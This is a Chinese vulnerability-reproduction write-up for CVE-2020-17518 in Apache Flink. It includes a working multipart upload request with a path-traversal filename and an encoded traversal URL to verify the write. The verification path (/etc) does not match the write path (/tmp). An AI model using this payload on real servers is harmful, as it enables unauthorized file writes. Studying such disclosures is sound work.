CVE-2020-17518 任意文件写漏洞复现

0x01 漏洞简介

Apache Flink是一个开源流处理框架,具有强大的流处理和批处理功能。

CVE-2020-17518 任意文件写漏洞

Apache Flink 1.11.0中引入了一项更新,该更新在1.11.1及更高的版本和1.11.2中发布。

Apache Flink 控制面板的Submit New Job处存在任意文件上传:

0x02 影响版本

1
2
3
1.11.0
1.11.1
1.11.2

0x03 漏洞复现

image-20210106172726958

写入EXP:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /jars/upload HTTP/1.1
Host: 127.0.0.1:8081
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Length: 185

------WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../tmp/success"

zzzzzzz
------WebKitFormBoundaryoZ8meKnrrso89R6Y--

image-20210108171738233

验证写入:

1
http://127.0.0.1/jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc%252fsuccess

成功写入:

image-20210108171541774

0x05 修复建议

所有用户升级最新版

1
https://flink.apache.org/downloads.html